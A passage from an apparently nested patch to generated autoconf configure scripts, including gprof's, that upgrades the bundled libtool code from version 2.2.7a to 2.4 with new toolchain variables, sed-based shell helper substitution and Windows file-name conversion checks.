++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -14893,12 +15553,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -14953,8 +15613,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -14964,12 +15629,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -14985,7 +15652,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -15021,6 +15687,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -15793,7 +16460,8 @@ $as_echo X"$file" |
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -15896,19 +16564,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -15938,6 +16629,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -15947,6 +16644,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -16061,12 +16761,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -16153,9 +16853,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -16171,6 +16868,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -16203,210 +16903,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
+diff --git a/gprof/configure b/gprof/configure
+index a7f788f0411..e7703613024 100755
+--- a/gprof/configure
++++ b/gprof/configure
+@@ -663,8 +663,11 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
+ RANLIB
++ac_ct_AR
+ AR
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -781,6 +784,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_plugins
+ enable_largefile
+@@ -1443,6 +1447,8 @@ Optional Packages:
+ --with-pic try to use only PIC/non-PIC objects [default=use
+ both]
+ --with-gnu-ld assume the C compiler uses GNU ld [default=no]
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+
+ Some influential environment variables:
+ CC C compiler command
+@@ -4510,8 +4516,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -4551,7 +4557,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -5238,8 +5244,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -5288,6 +5294,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -5304,6 +5384,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -5472,7 +5557,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -5626,6 +5712,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -5641,6 +5742,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
